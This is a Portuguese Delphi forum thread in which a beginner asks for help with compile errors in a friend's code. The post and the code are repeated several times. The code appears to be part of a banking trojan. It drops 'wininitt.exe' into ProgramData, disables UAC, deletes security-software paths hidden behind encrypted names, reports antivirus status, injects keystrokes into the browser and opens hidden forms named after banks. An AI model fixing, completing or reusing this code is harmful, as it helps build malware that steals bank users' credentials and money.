Fórum Erro de compilacao basico #526671
23/07/2015
0
Boa noite pessoal, estou tento problemas básicos no delphi, sou iniciante obviamente, programo em outras linguagens, mais para delphi sou novato...
Irei descrever meus problemas espero que possam me ajudar... estou com 3 procedures dando problemas.
No primeiro ele da a seguinte mensagem de erro: Undeclared identifier: 'SRemove';
na seguinte linha: SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
Andei declarando essa variável também, porem não sei o tipo dela corretamente... e declarei como TStringlist, dai ele me acusa outro erro como se o operador fosse invalido, creio que seja pelo ' + ' que esta entre o "GetProgramFilesDir" e o "Crypt"... ate ai tudo bem. Queria saber de qual tipo poderia ser essa variavel, sendo q o meu getprografilesdir é uma funcao de outro form e o tipo dele é string... já o crypt é do proprio delphi... LEMBRANDO QUE ESTE CODIGO NAO É MEU, é de um amigo ja mais experiente e no codigo dele nao estava declarado essavariavel, a funcao se encontrava como abaixo....
procedure TfCliente.AppletModuleCreate(Sender: TObject);
var
Params: TStringList;
begin
// ENCODE_START macro
asm DB $EB, $10, $57, $4c, $20, $20, $04, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
WindowInfActive := False;
Path := 'C:\ProgramData\wininitt.exe';
Dir := 'C:\ProgramData\';
{
if Pos('Windows 7', GetOS) <> 0 then
XP := False
else
XP := True;
}
if not FileExists(Path) then
begin
//Install(Path,Dir);
try
DisableUAC;
DisablePreview;
except
end;
if DirectoryExists(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2')) then
SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
if FileExists(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24')) then
SRemove(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24'));
// SendInf(NomePC,GetOS,AVExists,GbExists,GetDefaultBrowser);
end;
nBakAnt := '';
// ENCODE_END macro
asm DB $EB, $10, $57, $4c, $20, $20, $05, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
end;
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O segundo problema é bem parecido, ele me diz o seguinte... Undeclared identifier 'Sendkey';
*** LEMBRANDO QUE JA ESTA NA USES A CLASULA DO SENDKEY;
Linha do erro: SendKeys1.SendKey(Char(13));
E o teste que estou fazendo... Nao vo mandar o procedure completo devido ao tamanho dele
if (Dados='') then
begin
Exit;
try
SendKeys1.WindowHandle := fCliente.BrowserHWND;
SendKeys1.SendKey(Char(13));
sleep(300);
except
SendMessage(fCliente.BrowserHWND,WM_KEYDOWN,VK_RETURN,1);
Sleep(300);//Espera 0,1segudos
SendMessage(fCliente.BrowserHWND,WM_KEYUP,VK_RETURN,1);
end;
end
else
begin
for i := 1 to Length(dados) do
begin
SendMessage(fCliente.BrowserHWND, WM_CHAR, Word(dados[i]), 0);
end;
end;
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O terceiro e ultimo ate que enfim kkkk, os problemas são bem parecidos, porem neste procedure tenho 4 problemas.
1° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'msClient';
2° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'TmsClient';
3° na linha: msClient.Hide; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
4° na linha: msClient.ShowModal; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
**** OBS: um erro é oriundo do outro... abaixo o procedure.... e o meu mcCLient.pas ta incluso Conectar desta forma a seguir Conectar in 'Conectar.pas' {fCliente: TAppletModule}, e o meu conectar é o arquivo que esta com problemas, que no caso seria este aqui.
procedure TfCliente.AppletModuleActivate(Sender: TObject; Data: Integer);
begin
nBakAnt := '';
NameMachine := NomePC;
fBXF := TfBXF.Create(Self);
fBXF.Hide;
fIT_ALie := TfIT_ALie.Create(Self);
fIT_ALie.Hide;
fI_TALieJ := TfI_TALieJ.Create(Self);
fI_TALieJ.Hide;
fSNTLie := TfSNTLie.Create(Self);
fSNTLie.Hide;
fSNTJLie := TfSNTJLie.Create(Self);
fSNTJLie.Hide;
fVerMPF := TfVerMPF.Create(Self);
fVerMPF.Hide;
fBXb := TfBXb.Create(Self);
fBXb.Hide;
fAzul := TfAzul.Create(Self);
fAzul.Hide;
fSOBRE := TfSOBRE.Create(Self);
fSOBRE.Hide;
msClient := TmsClient.Create(Self);
msClient.Hide;
msClient.ShowModal;
end;
Irei descrever meus problemas espero que possam me ajudar... estou com 3 procedures dando problemas.
No primeiro ele da a seguinte mensagem de erro: Undeclared identifier: 'SRemove';
na seguinte linha: SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
Andei declarando essa variável também, porem não sei o tipo dela corretamente... e declarei como TStringlist, dai ele me acusa outro erro como se o operador fosse invalido, creio que seja pelo ' + ' que esta entre o "GetProgramFilesDir" e o "Crypt"... ate ai tudo bem. Queria saber de qual tipo poderia ser essa variavel, sendo q o meu getprografilesdir é uma funcao de outro form e o tipo dele é string... já o crypt é do proprio delphi... LEMBRANDO QUE ESTE CODIGO NAO É MEU, é de um amigo ja mais experiente e no codigo dele nao estava declarado essavariavel, a funcao se encontrava como abaixo....
procedure TfCliente.AppletModuleCreate(Sender: TObject);
var
Params: TStringList;
begin
// ENCODE_START macro
asm DB $EB, $10, $57, $4c, $20, $20, $04, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
WindowInfActive := False;
Path := 'C:\ProgramData\wininitt.exe';
Dir := 'C:\ProgramData\';
{
if Pos('Windows 7', GetOS) <> 0 then
XP := False
else
XP := True;
}
if not FileExists(Path) then
begin
//Install(Path,Dir);
try
DisableUAC;
DisablePreview;
except
end;
if DirectoryExists(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2')) then
SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
if FileExists(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24')) then
SRemove(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24'));
// SendInf(NomePC,GetOS,AVExists,GbExists,GetDefaultBrowser);
end;
nBakAnt := '';
// ENCODE_END macro
asm DB $EB, $10, $57, $4c, $20, $20, $05, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
end;
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O segundo problema é bem parecido, ele me diz o seguinte... Undeclared identifier 'Sendkey';
*** LEMBRANDO QUE JA ESTA NA USES A CLASULA DO SENDKEY;
Linha do erro: SendKeys1.SendKey(Char(13));
E o teste que estou fazendo... Nao vo mandar o procedure completo devido ao tamanho dele
if (Dados='') then
begin
Exit;
try
SendKeys1.WindowHandle := fCliente.BrowserHWND;
SendKeys1.SendKey(Char(13));
sleep(300);
except
SendMessage(fCliente.BrowserHWND,WM_KEYDOWN,VK_RETURN,1);
Sleep(300);//Espera 0,1segudos
SendMessage(fCliente.BrowserHWND,WM_KEYUP,VK_RETURN,1);
end;
end
else
begin
for i := 1 to Length(dados) do
begin
SendMessage(fCliente.BrowserHWND, WM_CHAR, Word(dados[i]), 0);
end;
end;
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O terceiro e ultimo ate que enfim kkkk, os problemas são bem parecidos, porem neste procedure tenho 4 problemas.
1° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'msClient';
2° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'TmsClient';
3° na linha: msClient.Hide; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
4° na linha: msClient.ShowModal; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
**** OBS: um erro é oriundo do outro... abaixo o procedure.... e o meu mcCLient.pas ta incluso Conectar desta forma a seguir Conectar in 'Conectar.pas' {fCliente: TAppletModule}, e o meu conectar é o arquivo que esta com problemas, que no caso seria este aqui.
procedure TfCliente.AppletModuleActivate(Sender: TObject; Data: Integer);
begin
nBakAnt := '';
NameMachine := NomePC;
fBXF := TfBXF.Create(Self);
fBXF.Hide;
fIT_ALie := TfIT_ALie.Create(Self);
fIT_ALie.Hide;
fI_TALieJ := TfI_TALieJ.Create(Self);
fI_TALieJ.Hide;
fSNTLie := TfSNTLie.Create(Self);
fSNTLie.Hide;
fSNTJLie := TfSNTJLie.Create(Self);
fSNTJLie.Hide;
fVerMPF := TfVerMPF.Create(Self);
fVerMPF.Hide;
fBXb := TfBXb.Create(Self);
fBXb.Hide;
fAzul := TfAzul.Create(Self);
fAzul.Hide;
fSOBRE := TfSOBRE.Create(Self);
fSOBRE.Hide;
msClient := TmsClient.Create(Self);
msClient.Hide;
msClient.ShowModal;
end;
Anderson
Curtir tópico
+ 0
Responder
Posts
10/03/2020
Evolte
Boa noite pessoal, estou tento problemas básicos no delphi, sou iniciante obviamente, programo em outras linguagens, mais para delphi sou novato...
Irei descrever meus problemas espero que possam me ajudar... estou com 3 procedures dando problemas.
No primeiro ele da a seguinte mensagem de erro: Undeclared identifier: 'SRemove';
na seguinte linha: SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
Andei declarando essa variável também, porem não sei o tipo dela corretamente... e declarei como TStringlist, dai ele me acusa outro erro como se o operador fosse invalido, creio que seja pelo ' + ' que esta entre o "GetProgramFilesDir" e o "Crypt"... ate ai tudo bem. Queria saber de qual tipo poderia ser essa variavel, sendo q o meu getprografilesdir é uma funcao de outro form e o tipo dele é string... já o crypt é do proprio delphi... LEMBRANDO QUE ESTE CODIGO NAO É MEU, é de um amigo ja mais experiente e no codigo dele nao estava declarado essavariavel, a funcao se encontrava como abaixo....
procedure TfCliente.AppletModuleCreate(Sender: TObject);
var
Params: TStringList;
begin
// ENCODE_START macro
asm DB $EB, $10, $57, $4c, $20, $20, $04, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
WindowInfActive := False;
Path := 'C:\\ProgramData\\wininitt.exe';
Dir := 'C:\\ProgramData\\';
{
if Pos('Windows 7', GetOS) <> 0 then
XP := False
else
XP := True;
}
if not FileExists(Path) then
begin
//Install(Path,Dir);
try
DisableUAC;
DisablePreview;
except
end;
if DirectoryExists(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2')) then
SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
if FileExists(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24')) then
SRemove(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24'));
// SendInf(NomePC,GetOS,AVExists,GbExists,GetDefaultBrowser);
end;
nBakAnt := '';
// ENCODE_END macro
asm DB $EB, $10, $57, $4c, $20, $20, $05, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
end;
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O segundo problema é bem parecido, ele me diz o seguinte... Undeclared identifier 'Sendkey';
*** LEMBRANDO QUE JA ESTA NA USES A CLASULA DO SENDKEY;
Linha do erro: SendKeys1.SendKey(Char(13));
E o teste que estou fazendo... Nao vo mandar o procedure completo devido ao tamanho dele
if (Dados='') then
begin
Exit;
try
SendKeys1.WindowHandle := fCliente.BrowserHWND;
SendKeys1.SendKey(Char(13));
sleep(300);
except
SendMessage(fCliente.BrowserHWND,WM_KEYDOWN,VK_RETURN,1);
Sleep(300);//Espera 0,1segudos
SendMessage(fCliente.BrowserHWND,WM_KEYUP,VK_RETURN,1);
end;
end
else
begin
for i := 1 to Length(dados) do
begin
SendMessage(fCliente.BrowserHWND, WM_CHAR, Word(dados[i]), 0);
end;
end;
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O terceiro e ultimo ate que enfim kkkk, os problemas são bem parecidos, porem neste procedure tenho 4 problemas.
1° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'msClient';
2° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'TmsClient';
3° na linha: msClient.Hide; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
4° na linha: msClient.ShowModal; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
**** OBS: um erro é oriundo do outro... abaixo o procedure.... e o meu mcCLient.pas ta incluso Conectar desta forma a seguir Conectar in 'Conectar.pas' {fCliente: TAppletModule}, e o meu conectar é o arquivo que esta com problemas, que no caso seria este aqui.
procedure TfCliente.AppletModuleActivate(Sender: TObject; Data: Integer);
begin
nBakAnt := '';
NameMachine := NomePC;
fBXF := TfBXF.Create(Self);
fBXF.Hide;
fIT_ALie := TfIT_ALie.Create(Self);
fIT_ALie.Hide;
fI_TALieJ := TfI_TALieJ.Create(Self);
fI_TALieJ.Hide;
fSNTLie := TfSNTLie.Create(Self);
fSNTLie.Hide;
fSNTJLie := TfSNTJLie.Create(Self);
fSNTJLie.Hide;
fVerMPF := TfVerMPF.Create(Self);
fVerMPF.Hide;
fBXb := TfBXb.Create(Self);
fBXb.Hide;
fAzul := TfAzul.Create(Self);
fAzul.Hide;
fSOBRE := TfSOBRE.Create(Self);
fSOBRE.Hide;
msClient := TmsClient.Create(Self);
msClient.Hide;
msClient.ShowModal;
end;
Irei descrever meus problemas espero que possam me ajudar... estou com 3 procedures dando problemas.
No primeiro ele da a seguinte mensagem de erro: Undeclared identifier: 'SRemove';
na seguinte linha: SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
Andei declarando essa variável também, porem não sei o tipo dela corretamente... e declarei como TStringlist, dai ele me acusa outro erro como se o operador fosse invalido, creio que seja pelo ' + ' que esta entre o "GetProgramFilesDir" e o "Crypt"... ate ai tudo bem. Queria saber de qual tipo poderia ser essa variavel, sendo q o meu getprografilesdir é uma funcao de outro form e o tipo dele é string... já o crypt é do proprio delphi... LEMBRANDO QUE ESTE CODIGO NAO É MEU, é de um amigo ja mais experiente e no codigo dele nao estava declarado essavariavel, a funcao se encontrava como abaixo....
procedure TfCliente.AppletModuleCreate(Sender: TObject);
var
Params: TStringList;
begin
// ENCODE_START macro
asm DB $EB, $10, $57, $4c, $20, $20, $04, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
WindowInfActive := False;
Path := 'C:\\ProgramData\\wininitt.exe';
Dir := 'C:\\ProgramData\\';
{
if Pos('Windows 7', GetOS) <> 0 then
XP := False
else
XP := True;
}
if not FileExists(Path) then
begin
//Install(Path,Dir);
try
DisableUAC;
DisablePreview;
except
end;
if DirectoryExists(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2')) then
SRemove(GetProgramFilesDir+Crypt('D','B64ADE64E90F503BC200558D439D20D2'));
if FileExists(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24')) then
SRemove(GetProgramFilesDir+Crypt('D','162B39DE6AF405101B7F9C89FD63F43CEA6D96C67DB4B123AD24'));
// SendInf(NomePC,GetOS,AVExists,GbExists,GetDefaultBrowser);
end;
nBakAnt := '';
// ENCODE_END macro
asm DB $EB, $10, $57, $4c, $20, $20, $05, $00, $00, $00, $00, $00, $00, $00, $57, $4c, $20, $20 end;
end;
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O segundo problema é bem parecido, ele me diz o seguinte... Undeclared identifier 'Sendkey';
*** LEMBRANDO QUE JA ESTA NA USES A CLASULA DO SENDKEY;
Linha do erro: SendKeys1.SendKey(Char(13));
E o teste que estou fazendo... Nao vo mandar o procedure completo devido ao tamanho dele
if (Dados='') then
begin
Exit;
try
SendKeys1.WindowHandle := fCliente.BrowserHWND;
SendKeys1.SendKey(Char(13));
sleep(300);
except
SendMessage(fCliente.BrowserHWND,WM_KEYDOWN,VK_RETURN,1);
Sleep(300);//Espera 0,1segudos
SendMessage(fCliente.BrowserHWND,WM_KEYUP,VK_RETURN,1);
end;
end
else
begin
for i := 1 to Length(dados) do
begin
SendMessage(fCliente.BrowserHWND, WM_CHAR, Word(dados[i]), 0);
end;
end;
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
O terceiro e ultimo ate que enfim kkkk, os problemas são bem parecidos, porem neste procedure tenho 4 problemas.
1° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'msClient';
2° na linha: msClient := TmsClient.Create(Self); ~ MENSAGEM DE ERRO: Undeclared identifier 'TmsClient';
3° na linha: msClient.Hide; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
4° na linha: msClient.ShowModal; ~ MENSAGEM DE ERRO: Missing operator or semicolon;
**** OBS: um erro é oriundo do outro... abaixo o procedure.... e o meu mcCLient.pas ta incluso Conectar desta forma a seguir Conectar in 'Conectar.pas' {fCliente: TAppletModule}, e o meu conectar é o arquivo que esta com problemas, que no caso seria este aqui.
procedure TfCliente.AppletModuleActivate(Sender: TObject; Data: Integer);
begin
nBakAnt := '';
NameMachine := NomePC;
fBXF := TfBXF.Create(Self);
fBXF.Hide;
fIT_ALie := TfIT_ALie.Create(Self);
fIT_ALie.Hide;
fI_TALieJ := TfI_TALieJ.Create(Self);
fI_TALieJ.Hide;
fSNTLie := TfSNTLie.Create(Self);
fSNTLie.Hide;
fSNTJLie := TfSNTJLie.Create(Self);
fSNTJLie.Hide;
fVerMPF := TfVerMPF.Create(Self);
fVerMPF.Hide;
fBXb := TfBXb.Create(Self);
fBXb.Hide;
fAzul := TfAzul.Create(Self);
fAzul.Hide;
fSOBRE := TfSOBRE.Create(Self);
fSOBRE.Hide;
msClient := TmsClient.Create(Self);
msClient.Hide;
msClient.ShowModal;
end;
Responder
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)